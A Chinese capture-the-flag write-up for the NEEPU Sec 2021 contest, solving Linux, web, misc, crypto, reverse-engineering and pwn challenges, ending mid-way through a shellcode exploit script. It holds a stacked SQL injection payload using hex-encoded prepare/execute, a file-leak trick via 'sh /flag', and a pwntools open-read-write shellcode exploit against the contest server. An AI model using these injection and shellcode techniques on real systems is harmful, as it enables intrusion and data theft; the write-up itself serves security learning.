NEEPU Sec 2021公开赛

东北电力大学校赛,Web综合程度高,Crypto太少了。

Rank: 3


Noob

Linux入门

Linux基本指令

ls/dir: 访问当前目录

cat: 获取当前文件内容

grep: 匹配字符串

*: 匹配一个或多个字符

?: 匹配一个字符

/: 根目录

hint: Linux的系统配置文件主要放在哪里?

Linux命令大考察。

ls -al 当前目录发现 hint.txt

cat hint.txt 查看内容:尝试访问根目录

ls -al / 根目录发现flag文件

cat /flag 查看内容:可以尝试grep

在根目录逐个文件夹用grep命令试,在/etc下发现关键字:

grep -r -n "Neepu{" /etc

结果:

/etc/neepu.conf:1:Neepu{f782fecc-2e63-4819-8dd4-f2b2584c85b0}

最强大脑

不会吧,不会吧,不会有人不喜欢算算术吧…

10s限时算数题,利用python里的requests包处理就好:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = 'http://neepusec.club:18495/'
s = requests.Session()

r = s.get(url)
html = r.text
start = html.index('<div id="timerSeconds" style="color:red; font-size: 70"></div>')+len('<div id="timerSeconds" style="color:red; font-size: 70"></div>')+8
end = start+html[start:].index('&nbsp=&nbsp?')

for i in range(100):
cal = html[start:end].replace('&nbsp','')
r = s.post(url,data={'answer':str(eval(cal))})
if 'success' in r.text:
print((i+1,'success'))
if 'Neepu{' in r.text:
print(i+1)
print(r.text)
break
html = r.text
start = html.index('<div id="timerSeconds" style="color:red; font-size: 70"></div>')+len('<div id="timerSeconds" style="color:red; font-size: 70"></div>')+8
end = start+html[start:].index('&nbsp=&nbsp?')

随便注2.0

如果我告诉你网上有原题,你能做的出来吗?

百度/谷歌搜索: [强网杯 2019]随便注

强网杯2019 随便注原题魔改,堆叠注入,照着来。

1' union select 1,2,database()# 得到过滤规则 return preg_match("/select|update|delete|drop|insert|where|rename|set|handler|char|\*| | |\./i",$inject);

空格用%0a代替,尝试堆叠注入:

0';show%0adatabases;# 得到数据库名:ctftraining, information_schema, mysql, performance_schema, supersqli, test

0';show%0atables;# 得到表名:@Neepu2021招新赛, words

0';desc%0a`@Neepu2021招新赛`;# 得到列名:flag, NO

原题有重命名法预处理法可得flag,这里renameset被禁,可用prepare 预处理+execute 执行的方法,构造select flag from `@Neepu2021招新赛`16进制字符串,代入预处理语句拿flag:

1';prepare%0axxx%0afrom%0a0x73656c65637420666c61672066726f6d2060404e6565707532303231e68b9be696b0e8b59b60;execute%0axxx;#

Web

remote_table

这真的是远程桌面吗?或许吧…

翻一圈源码,在notfound.html找到flag。

LOVE_DEATH&ROBOTS

Beauty and danger coexist, and the magnificence, weirdness, and extraordinary view of the world often lie in peril, and human beings are rare, so people who do not have aspirations cannot come.

根据标题ROBOTS,容易想到robots.txt,访问发现/n33pvfl4g.php,再访问n33pvfl4g.php得flag。

Misc

15 Puzzle!

You can do it!

手拼就是了,拼完有flag。

龙会说话?

龙会聊天吗?

第一层,一个文件 dragon 和一个加密压缩包 dragon’s talk.rar。

010editor查看 dragon,发现尾部49454E44AE426082是png文件尾,查找文件头89504E47,分离出png图片:

image-20210524204117861

找到龙语解码工具,解出youseethedragon为rar密码。

第二层,一个 dragon’s talk.wav 文件。

用audacity未发现什么信息,尝试LSB隐写,用Silenteye无密码得到隐藏文件flag.txt。

Crypto

RSA

Just RSA!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from Crypto.Util.number import *
from sympy import nextprime
import gmpy2
import random

def encode (p1,p2,e):
not_hint = (p1 + 1) * (p2 + 1)
S = gmpy2.invert(e, not_hint)
not_p = S%(p1+1)
return not_p

flag = b'Neepu{********************}'
flag = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
n = p*q
e = nextprime(random.randint(1,1000))
d = gmpy2.invert(e, (p-1)*(q-1))
c = pow(flag, e, n)
print(c)
print(n)

m = encode(p, q, e)
c1 = pow(m, 7, n)
c2 = pow(m+e, 7, n)
print(c1)
print(c2)

'78543767285872349029076059073458316000847341792088805258173041942425687239313215276670106926320359777962661495032475004417723103701253550583245518206305422982968675291500865382213182669036827898932991063338163290845510339896689210314509493839746410486257998875782496654704288722251878269643040214139429715671'
'91995272927105081122659192011056020468305570748555849650309966887236871318156855318666540461669669247866754568189179687694315627673545298267458869140096224628114424176937828378360997230874932015701507629238213240839370628366083111028544554453150572165461450371411341485911677167168492357154684642531577228543'
'10186066785511829759164194803209819172224966119227668638413350199662683285189286077736537161204019147791799351066849945954518642600518196927152098131117402608793752080104402893792812059620726950782670809837962606250674588612783027976958719051829085903720655233948024280118985875980227528403883475592567727892'
'46182103994299145562022812023438495797686077104477472631494150222038404419414100727667171290098624214113241032861128455086601197239761085752413519627251290509474327611253599768650908336142621210005389246714504358370629231557080301516460985022782887233790302054696967900384601182742759555421864610431428746119'

两部分:

第一部分 $n=pq,c=\text{flag}^e \bmod n$,

第二部分 $m=\text{enc}(p,q,e),c_1=m^7 \bmod n,c_2=(m+e)^7 \bmod n$。

先解第二部分,利用Related Message Attack求解 $m$,由于 $e$ 未知且 $e<1010$,爆破 $e$ 求出 $m$:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import binascii
def attack(c1, c2, n, e):
PR.<x> = PolynomialRing(Zmod(n))
g1 = (x)^7 - c1
g2 = (x+e)^7 - c2

def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()
return -gcd(g1, g2)[0]
c1 = 10186066785511829759164194803209819172224966119227668638413350199662683285189286077736537161204019147791799351066849945954518642600518196927152098131117402608793752080104402893792812059620726950782670809837962606250674588612783027976958719051829085903720655233948024280118985875980227528403883475592567727892
c2 = 46182103994299145562022812023438495797686077104477472631494150222038404419414100727667171290098624214113241032861128455086601197239761085752413519627251290509474327611253599768650908336142621210005389246714504358370629231557080301516460985022782887233790302054696967900384601182742759555421864610431428746119
n = 91995272927105081122659192011056020468305570748555849650309966887236871318156855318666540461669669247866754568189179687694315627673545298267458869140096224628114424176937828378360997230874932015701507629238213240839370628366083111028544554453150572165461450371411341485911677167168492357154684642531577228543

for e in range(1,1000):
m = attack(c1, c2, n, e)
try:
if pow(m,7,n) == c1:
print((e,m))
except:
pass
#结果:(71, 129256555243625096140386916253259867206651269142565502540823654159666398099455456877012993395632742360829588042575108302297567291349420390228163587340859)
#e = 71
#m = 129256555243625096140386916253259867206651269142565502540823654159666398099455456877012993395632742360829588042575108302297567291349420390228163587340859

又 $m=\text{enc}(p,q,e)$,即 $eS=ed \equiv 1 \pmod {(p+1)(q+1)},dp=S \bmod (p+1)=d \bmod (p+1)$,

由于 $e \cdot dp \equiv e \cdot d \equiv 1 \pmod {(p+1)}$,有 $e \cdot dp-1=k \cdot (p+1)$,

比较 $e \cdot dp$ 与 $p$ 比特位数相近,故 $k$ 值不大,

爆破 $k$,当同时满足 $(e \cdot dp-1) \bmod k =0$ 和 $n \bmod \Big(\cfrac{e \cdot dp-1}{k}-1\Big)$ 时,$n$ 成功分解。

1
2
3
4
5
6
7
8
9
10
11
n = 91995272927105081122659192011056020468305570748555849650309966887236871318156855318666540461669669247866754568189179687694315627673545298267458869140096224628114424176937828378360997230874932015701507629238213240839370628366083111028544554453150572165461450371411341485911677167168492357154684642531577228543
dp = 129256555243625096140386916253259867206651269142565502540823654159666398099455456877012993395632742360829588042575108302297567291349420390228163587340859
e = 71
c = 78543767285872349029076059073458316000847341792088805258173041942425687239313215276670106926320359777962661495032475004417723103701253550583245518206305422982968675291500865382213182669036827898932991063338163290845510339896689210314509493839746410486257998875782496654704288722251878269643040214139429715671

for k in range(1,10000):
if (e*dp-1)%k == 0:
p = (e*dp-1)//k-1
if n%p == 0:
q = n//p
print((k,p,q))

最后常规RSA求得flag。

AES

简单的AES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Cipher import AES
import os
from Crypto.Util.number import *

flag = os.urandom(18)
flag_enc = os.urandom(45)
pad = b'a' * 12 + b'Neepu{'
flag_enc = pad+flag_enc+b'}'
masg1 = flag_enc[0:32]
masg2 = flag_enc[32: ]

m = bytes_to_long(masg1)^bytes_to_long(masg2)
key = os.urandom(2)*16
iv = masg2[16:][:16]
print(bytes_to_long(key)^bytes_to_long(iv))
aes = AES.new(key,AES.MODE_CBC,iv)
enc_flag = aes.encrypt(long_to_bytes(m))
print(enc_flag)

'''
111074535590201916919246051309547040927554959486196038152130336189953949145068
b'\xd8\x83\xfd\x89\xc3+\x11\xb8g\xd2\xf5k\xeeU\x88\xb5\xde\x8bq\x9bC\xab\xe3K2R<\xaa\xbc\x92H\x19'
'''

先看flag_enc由64字符构成,已知前18字符 aaaaaaaaaaaaNeepu{ 和后1字符 }

拆半分别为前32字符 masg1 和后32字符 masg2,异或值 m = masg1^masg2

通过AES-CBC加密,key形如 xyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxy,iv为 masg2 后16字符,已知 key^iv

从key入手,key只有两位未知,爆破key值,同时得到iv值,利用iv值16位和最后1位字符为},得到key和iv值:

1
2
3
4
5
6
7
8
9
10
11
tmp=111074535590201916919246051309547040927554959486196038152130336189953949145068
for i in range(256):
for j in range(256):
key = bytes([i,j])*16
iv = long_to_bytes(tmp^bytes_to_long(key))
if len(iv) == 16 and iv[-1] == ord('}'):
print(iv)
print(key)

#iv: b'fefcsukobhmtfhb}'
#key: b'\xf5\x91'*16

由key和iv值+密文 enc 解出 m

此时,前32字符 masg1 已知前16字符aaaaaaaaaaaaNeep,后32字符 masg2 已知后16字符 fefcsukobhmtfhb},根据 m = masg1^masg2 分别异或得到另一半:

1
2
3
4
5
6
7
8
9
10
11
iv = b'fefcsukobhmtfhb}'
key = b'\xf5\x91'*16
aes = AES.new(key,AES.MODE_CBC,iv)
m = aes.decrypt(enc)
print(m)

masg1 = (b'a'*12 + b'Neep') + long_to_bytes(bytes_to_long(iv)^bytes_to_long(m[16:]))
masg2 = long_to_bytes(bytes_to_long(b'a'*12+b'Neep')^bytes_to_long(m[:16])) + iv
flag_enc = masg1 + masg2

#aaaaaaaaaaaaNeepu{qszeftwdr-thuilpyji-ijlmukoescfefcsukobhmtfhb}

发现代码里 flagflag_enc 无直接关联,观察 flag_enc为键盘加密,解密得 flagNeepu{are-you-kidding}

RE

OLLEH

!ni ngis ER laeR

hint: 师傅们如果做出来了请将flag框架改为Neepu{},给师傅们带来不便,非常抱歉

IDA,main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
_main();
strcpy((char *)v20, "416:99A:77"); //字符串v20 = 416:99A:77
v20[6] = 0;
LOBYTE(v20[7]) = 0;
memset(v14, 0, sizeof(v14));
v14[0] = 1;
v14[1] = 1;
for ( i = 2; i <= 19; ++i ) //v14 = 长度20的斐波那契数列
v14[i] = v14[i - 2] + v14[i - 1];
for ( i = 0; i <= 9; ++i ) //v20按 (斐波那契数列值 & 0xF) 移位,存入v4 = 3047414550
*(&v4 + i) = *((char *)v20 + i) - (v14[i] & 0xF);
v17[0] = 'OLLEH'; //v17 = HELLO
v17[1] = 0i64;
v18 = 0;
strcpy(v15, "flag{world_Vjea}"); //v15 = flag{world_Vjea}
for ( j = 0; j <= 4; ++j )
v16[j] = *((_BYTE *)v17 + j); //v16[0:5] = v17[0:5] = HELLO
for ( j = 5; j <= 9; ++j )
v16[j] = v15[j]; //v16[5:10] = v15[5:10] = world
puts("Welcome to the 2021 NEEPUCTF");
puts("Now you can enjoy it");
puts("Please input right number:");
scanf("%s", Str);
v21 = strlen(Str);
if ( v21 != 10 )
{
puts("Try again");
exit(0);
}
if ( v4 == Str[0]
&& v5 == Str[1]
&& v6 == Str[2]
&& v7 == Str[3]
&& v8 == Str[4]
&& v9 == Str[5]
&& v10 == Str[6]
&& v11 == Str[7]
&& v12 == Str[8]
&& v13 == Str[9] ) //Str == v4
{
printf("OK,FLAG is NEEPU{MD5{%s%d%d%d%d%d}}", v16, v4, v5, v6, v7, v8);
getchar();
}
else
{
puts("byebye");
}
system("pause");
return 0;

按代码逻辑,拼接得 v16 = HeLLOworldv4~v8 = 30474,由于 v4~v8 格式化输出为 %d,转化为对应ASCII值。

flag得到:Neepu{md5(HeLLOworldworld5148525552)}

ez_re

ezRE, wryyyyy~

两个文件,easyre.dll 和 easyre.exe。

exeinfope查看easyre.dll,发现是.NET程序,上ILSpy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// retest.Program
internal class Program
{
private static void Main(string[] args)
{
string text = "mT0b";
string text2 = "D{0S";
string text3 = "Dg9E";
string text4 = "OD_}";
char[] array = new char[4];
char[] array2 = new char[4];
char[] array3 = new char[4];
char[] array4 = new char[4];
array[0] = text.get_Chars(0);
array[1] = text2.get_Chars(0);
array[2] = text3.get_Chars(0);
array[3] = text4.get_Chars(0);
array2[0] = text.get_Chars(1);
array2[1] = text2.get_Chars(1);
array2[2] = text3.get_Chars(1);
array2[3] = text4.get_Chars(1);
array3[0] = text.get_Chars(2);
array3[1] = text2.get_Chars(2);
array3[2] = text3.get_Chars(2);
array3[3] = text4.get_Chars(2);
array4[0] = text.get_Chars(2);
array4[1] = text2.get_Chars(2);
array4[2] = text3.get_Chars(2);
array4[3] = text4.get_Chars(2);
Encrypt1(array);
Encrypt1(array2);
Encrypt1(array3);
Encrypt1(array4);
}

public static void Encrypt1(char[] string1)
{
int num = string1.Length;
for (int i = 0; i < num; i++)
{
if (string1[i] >= 'a' && string1[i] <= 'z')
{
if (string1[i] >= 'a' && string1[i] <= 'y')
{
string1[i] = (char)(string1[i] - 31);
}
else
{
string1[i] = 'A';
}
}
else if (string1[i] >= 'A' && string1[i] <= 'Z')
{
if (string1[i] >= 'A' && string1[i] <= 'Y')
{
string1[i] = (char)(string1[i] + 33);
}
else
{
string1[i] = 'a';
}
}
else if (string1[i] >= '0' && string1[i] <= '9')
{
if (string1[i] == '9')
{
string1[i] = '0';
}
else
{
string1[i] = (char)(string1[i] + 1);
}
}
}
}
}

看Main(),按逻辑得 array1~4 分别为 mDDO,T{gD,009_,bSE},再看Encrypt1(),a-z移位-31,A-Z移位33,0-9 移位1,操作后得 Neepu{He110_Ctf}

login

login in please :)

login文件夹里包含usrs_info2.pickle序列化文件,确定是python程序。

pyinstxtractor解包exe为pyc,再uncompyle6反编译retest2.pyc为python源码,找到flag。

ppap

最近小猫爱上了闯关

查壳发现upx壳,工具脱壳。

IDA,main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
  sub_40DA40();
LABEL_2:
puts("ppap");
puts("The cat is very cute, do you like it?");
puts("My cat is lost, help me");
puts("please input your cat's name'");
puts("tell me 1+2=?");
scanf("%256s\n", Str); //输入字符串
v3 = strlen(Str);
v11 = (const char *)sub_401500(Str, v3); //v11 = 输入字符串的base64编码(自定义码表)
for ( i = 0; ; ++i )
{
v4 = i;
if ( v4 >= strlen(v11) )
break;
v7[i] = v11[i]; //v7 = v11
}
strcpy(v8, "WfYe2KYaXv77PYctBWI5ZZInCucHCYcxPZHpAvq71ecmBXE54ZIc");
//v8 = WfYe2KYaXv77PYctBWI5ZZInCucHCYcxPZHpAvq71ecmBXE54ZIc
memset(v9, 0, sizeof(v9));
sub_40167D(v7); //对v7做第一次处理,函数sub_40167D()
sub_401746(v7); //对v7做第二次处理,函数sub_401746()
for ( j = 0; ; ++j )
{
v5 = j;
if ( v5 >= strlen(v7) )
break;
if ( v7[j] != v8[j] ) //比较v7 == v8?
{
printf("ppap");
goto LABEL_2;
}
}
puts("Yes, you are right");
system("pause");
return 0;

函数 sub_40167D()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
char *__cdecl sub_40167D(char *Str)
{
size_t i; // [esp+1Ch] [ebp-Ch]

strlen(Str);
for ( i = 0; i < strlen(Str); ++i )
{
if ( Str[i] <= 64 || Str[i] > 90 )
{
if ( Str[i] <= 96 || Str[i] > 122 )
Str[i] = Str[i];
else
Str[i] -= 32; //96<字符ascii值<=122,字符移位
}
else
{
Str[i] += 32; //64<字符ascii值<=90,字符移位
}
}
return Str;
}

函数 sub_401746()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
char *__cdecl sub_401746(char *Str)
{
size_t i; // [esp+1Ch] [ebp-Ch]

for ( i = 0; i < strlen(Str); ++i )
{
if ( Str[i] <= 64 || Str[i] > 90 )
{
if ( Str[i] > 96 && Str[i] <= 122 )
Str[i] = (Str[i] - 97 + 3) % 26 + 97; //96<字符ascii值<=122,字符循环移位
}
else
{
Str[i] = (Str[i] - 65 + 3) % 26 + 65; //64<字符ascii值<=90,字符循环移位
}
}
return Str;
}

v8 字符串先按函数 sub_401746()还原,再按函数 sub_40167D()还原:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
s='WfYe2KYaXv77PYctBWI5ZZInCucHCYcxPZHpAvq71ecmBXE54ZIc'
s=list(s.encode())

t=[-1]*len(s)
tt=[-1]*len(s)

for i in range(len(s)):
for j in range(32,128):
c=j
if c<=64 or c>90:
if c>96 and c<=122:
c=(c-97+3)%26+97
else:
c=(c-65+3)%26+65
if c==s[i]:
t[i]=j
break

for i in range(len(t)):
for j in range(32,128):
c=j
if c<=64 or c>90:
if c<=96 or c>122:
c=c
else:
c-=32
else:
c+=32
if c==t[i]:
tt[i]=j
break

print(bytes(tt))

#解密得密文:tCvB2hvXuS77mvZQytf5wwfKzRZezvZUmweMxSN71BZJyub54wfZ
#自定义码表:a-z0-9A-Z+/=

解自定义码表下的base64得flag。

ez

Do you like basketball?

IDA,main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
sub_40E3F0();
puts("Do you like basketball?");
scanf("%s", Source); //输入字符串Source
strcpy(Destination, Source); //Dest = Source
memset(v7, 0, sizeof(v7));
memset(v8, 0, 0x80u);
sub_40235D(Source, v7, "flag{Would_you_like_basketball?}"); //函数sub_40235D(Source,out,key) (RC4+base64)
v28 = 32;
v24[0] = 2;
v24[1] = 2;
v24[2] = 3;
v24[3] = 4; //v24 = [2,2,3,4]
puts("please input your lucky number");
for ( i = 0; i <= 1; ++i )
scanf("%d", &v25 + i); //输入v25,v26
for ( j = 0; j <= 1; ++j )
scanf("%d", &v22 + j); //输入v22,v23
for ( k = 0; k <= 1; ++k )
scanf("%d", &v20 + k); //输入v20,v21
for ( l = 0; l <= 1; ++l )
scanf("%d", &v18 + l); //输入v18,v19
v4[0] = v25;
v4[1] = v26;
v4[2] = v22;
v4[3] = v23;
v4[4] = v20;
v4[5] = v21;
v4[6] = v18;
v4[7] = v19; //v4 = [v25,v26,v22,v23,v20,v21,v18,v19]
for ( m = 0; m <= 7; ++m ) //对v4冒泡排序(升序)
{
for ( n = 7; n > m; --n )
{
if ( v4[n] < v4[n - 1] )
{
v27 = v4[n];
v4[n] = v4[n - 1];
v4[n - 1] = v27;
}
}
}
sub_40152F(&v25, v24); //函数sub_40152F() (TEA加密)
sub_40152F(&v22, v24); //函数sub_40152F() (TEA加密)
sub_4015FD(v28, &v20, v24); //函数sub_4015FD() (XTEA加密)
sub_4015FD(v28, &v18, v24); //函数sub_4015FD() (XTEA加密)
memset(v9, 0, sizeof(v9));
v9[0] = 81; //v9
v9[1] = 116;
......
v9[46] = 7;
v9[47] = 8;
v16 = -1621115832; //v10~v17,8个hex
v17 = -984516975;
v14 = 616429839;
v15 = 807110888;
v12 = -1837822886;
v13 = -1596355058;
v10 = -1915738221;
v11 = 1331005540;
if ( v25 != -1621115832 //v25,v26,v22,v23,v20,v21,v18,v19 == v10~v17
|| v26 != v17
|| v14 != v22
|| v15 != v23
|| v12 != v20
|| v13 != v21
|| v10 != v18
|| v11 != v19 )
{
printf("you are wrong");
exit(0);
}
for ( ii = 0; ii <= 47; ++ii )
*(_DWORD *)&v8[4 * ii + 128] = v4[ii % 8] ^ v7[ii]; //v8 = v4^v7
for ( jj = 0; jj <= 47; ++jj )
{
if ( v9[jj] != *(_DWORD *)&v8[4 * jj + 128] ) //v9 == v8?
exit(0);
}
printf("Right,FLAG is Neepu{%s}\n", Destination);
system("PAUSE");
return 0;

函数 sub_40235D(Source,out,key)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void __cdecl sub_40235D(char *Str, void *a2, char *a3)
{
void *Src; // [esp+1Ch] [ebp-1Ch] BYREF
size_t Size; // [esp+20h] [ebp-18h] BYREF
void *Block; // [esp+24h] [ebp-14h]
size_t v6; // [esp+28h] [ebp-10h]
size_t v7; // [esp+2Ch] [ebp-Ch]

if ( Str && a2 && a3 )
{
v7 = strlen(Str);
v6 = strlen(a3);
Block = (void *)sub_418710(v7 + 1); //初始化Block
memcpy(Block, Str, v7 + 1);
sub_401E22(Block, v7, a3, v6); //RC4加密,Block = RC4(Str,key)
Size = 0;
Src = 0;
sub_4020DE(Block, v7, (int)&Src, (int)&Size); //Src = Block的base64编码(自定义码表)
if ( Src )
{
memcpy(a2, Src, Size); //a2 = Src
*((_BYTE *)a2 + Size) = 0;
if ( Src )
j_j_free(Src);
Src = 0;
}
if ( Block )
j_j_free(Block);
}
}

函数 sub_40152F()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned int __cdecl sub_40152F(unsigned int *a1, _DWORD *a2)        //TEA加密算法
{
unsigned int result; // eax
unsigned int i; // [esp+20h] [ebp-10h]
int v4; // [esp+24h] [ebp-Ch]
unsigned int v5; // [esp+28h] [ebp-8h]
unsigned int v6; // [esp+2Ch] [ebp-4h]

v6 = *a1;
v5 = a1[1];
v4 = 0;
for ( i = 0; i <= 0x1F; ++i )
{
v4 -= 1640531527;
v6 += (v5 + v4) ^ (16 * v5 + *a2) ^ ((v5 >> 5) + a2[1]);
v5 += (v6 + v4) ^ (16 * v6 + a2[2]) ^ ((v6 >> 5) + a2[3]);
}
*a1 = v6;
result = v5;
a1[1] = v5;
return result;
}

函数 sub_4015FD()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned int __cdecl sub_4015FD(unsigned int a1, unsigned int *a2, int a3)        //XTEA算法
{
unsigned int result; // eax
unsigned int v4; // [esp+10h] [ebp-10h]
unsigned int v5; // [esp+14h] [ebp-Ch]
unsigned int v6; // [esp+18h] [ebp-8h]
unsigned int i; // [esp+1Ch] [ebp-4h]

v6 = *a2;
v5 = a2[1];
v4 = 0;
for ( i = 0; i < a1; ++i )
{
v6 += (((v5 >> 5) ^ (16 * v5)) + v5) ^ (*(_DWORD *)(4 * (v4 & 3) + a3) + v4);
v4 -= 1640531527;
v5 += (((v6 >> 5) ^ (16 * v6)) + v6) ^ (*(_DWORD *)(4 * ((v4 >> 11) & 3) + a3) + v4);
}
*a2 = v6;
result = v5;
a2[1] = v5;
return result;
}

根据上面逻辑,先利用TEA和XTEA解密算法由 v10~v17 解密得到初始值 v25,v26,v22,v23,v20,v21,v18,v19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#TEA解密
def decrypt(v, k):
v0 = v[0]
v1 = v[1]
x = 0xC6EF3720
delta = 0x9E3779B9
k0 = k[0]
k1 = k[1]
k2 = k[2]
k3 = k[3]
for i in range(32):
v1 -= ((v0 << 4) + k2) ^ (v0 + x) ^ ((v0 >> 5) + k3)
v1 = v1 & 0xFFFFFFFF
v0 -= ((v1 << 4) + k0) ^ (v1 + x) ^ ((v1 >> 5) + k1)
v0 = v0 & 0xFFFFFFFF
x -= delta
x = x & 0xFFFFFFFF
v[0] = v0
v[1] = v1
return v
if __name__ == '__main__':
encrypted =
key = [2, 2, 3, 4]
decrypted = decrypt(encrypted, key)
print(decrypted)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#XTEA解密
def decrypt(rounds, v, k):
v0 = v[0]
v1 = v[1]
delta = 0x9E3779B9
x = delta * rounds
for i in range(rounds):
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (x + k[(x >> 11) & 3])
v1 = v1 & 0xFFFFFFFF
x -= delta
x = x & 0xFFFFFFFF
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (x + k[x & 3])
v0 = v0 & 0xFFFFFFFF
v[0] = v0
v[1] = v1
return v
if __name__ == '__main__':
encrypted =
key = [2, 2, 3, 4]
rounds = 32
decrypted = decrypt(rounds, encrypted, key)
print(decrypted)

结果:

1
2
3
4
[0x9F5FBC48,0xC5517691] -> [1,1]
[0x24BDF90F,0x301B88E8] -> [3,4]
[0x92750C5A,0xA0D98E0E] -> [2,5]
[0x8DD02793,0x4F558864] -> [8,7]

v4 = [1,1,2,3,4,5,7,8],又 v9 = v8 = v4^v7,异或得到 v7,先base64解码再RC4解密可得输入的 Source 值,即为flag。

PWN

ncc

经典nc!

PWN题连接方式: nc neepusec.club 端口

ls / 发现目录下有 /flag,但没有 cat 等常见的查看文件内容命令。

cd /bin 进到 /bin 目录下,ls 发现目录下有 sh 脚本执行命令,直接 sh /flag 利用报错泄露 /flag 文件内容。

easy_shellcode

easy shellcode?

flag在./flag

checksec发现无任何保护,IDA查看:

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void *buf; // [rsp+0h] [rbp-10h]

sub_9C3(a1, a2, a3);
buf = (void *)(int)mmap((void *)0x23330000, 0x1000uLL, 7, 34, -1, 0LL);
puts("just learn orw");
read(0, buf, 0x200uLL);
((void (*)(void))buf)();
return 0LL;
}

函数 sub_9C3(a1,a2,a3)

1
2
3
4
5
6
7
8
unsigned int sub_9C3()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
sub_8CA();
return alarm(0x3Cu);
}

函数 sub_8CA()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
unsigned __int64 sub_8CA()
{
__int16 v1; // [rsp+0h] [rbp-50h] BYREF
__int16 *v2; // [rsp+8h] [rbp-48h]
__int16 v3; // [rsp+10h] [rbp-40h] BYREF
char v4; // [rsp+12h] [rbp-3Eh]
char v5; // [rsp+13h] [rbp-3Dh]
int v6; // [rsp+14h] [rbp-3Ch]
__int16 v7; // [rsp+18h] [rbp-38h]
char v8; // [rsp+1Ah] [rbp-36h]
char v9; // [rsp+1Bh] [rbp-35h]
int v10; // [rsp+1Ch] [rbp-34h]
__int16 v11; // [rsp+20h] [rbp-30h]
char v12; // [rsp+22h] [rbp-2Eh]
char v13; // [rsp+23h] [rbp-2Dh]
int v14; // [rsp+24h] [rbp-2Ch]
__int16 v15; // [rsp+28h] [rbp-28h]
char v16; // [rsp+2Ah] [rbp-26h]
char v17; // [rsp+2Bh] [rbp-25h]
int v18; // [rsp+2Ch] [rbp-24h]
__int16 v19; // [rsp+30h] [rbp-20h]
char v20; // [rsp+32h] [rbp-1Eh]
char v21; // [rsp+33h] [rbp-1Dh]
int v22; // [rsp+34h] [rbp-1Ch]
__int16 v23; // [rsp+38h] [rbp-18h]
char v24; // [rsp+3Ah] [rbp-16h]
char v25; // [rsp+3Bh] [rbp-15h]
int v26; // [rsp+3Ch] [rbp-14h]
unsigned __int64 v27; // [rsp+48h] [rbp-8h]

v27 = __readfsqword(0x28u);
v3 = 32;
v4 = 0;
v5 = 0;
v6 = 4;
v7 = 21;
v8 = 0;
v9 = 2;
v10 = -1073741762;
v11 = 32;
v12 = 0;
v13 = 0;
v14 = 0;
v15 = 21;
v16 = 0;
v17 = 1;
v18 = 59;
v19 = 6;
v20 = 0;
v21 = 0;
v22 = 0;
v23 = 6;
v24 = 0;
v25 = 0;
v26 = 2147418112;
v1 = 6;
v2 = &v3;
prctl(38, 1LL, 0LL, 0LL, 0LL);
prctl(22, 2LL, &v1);
return __readfsqword(0x28u) ^ v27;
}

在函数 sub_8CA() 发现 prctl() 函数。

prctl是基本的进程管理函数,最原始的沙箱规则就是通过prctl函数来实现的,它可以决定有哪些系统调用函数可以被调用,哪些系统调用函数不能被调用。

沙箱(Sandbox)是程序运行过程中的一种隔离机制,其目的是限制不可信进程和不可信代码的访问权限。seccomp是内核中的一种安全机制,seccomp可以在程序中禁用掉一些系统调用来达到保护系统安全的目的,seccomp规则的设置,可以使用prctl函数和seccomp函数族。

使用 seccomp-tools dump ./pwn 看下哪些函数可用:

image-20210525013200068

发现只要不是 execve() 都可以使用,使用 open->read->write 这样的orw的方式获取flag。

mmap() 把从0x23330000开始的地址,大小为0x1000的长度,权限改为可写可执行。

所以只需要写入orw类型的shellcode,然后跳转执行:

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = remote('neepusec.club', 18146)
mmap = 0x23330000
orw_payload = shellcraft.open('./flag') #打开根目录下的flag文件
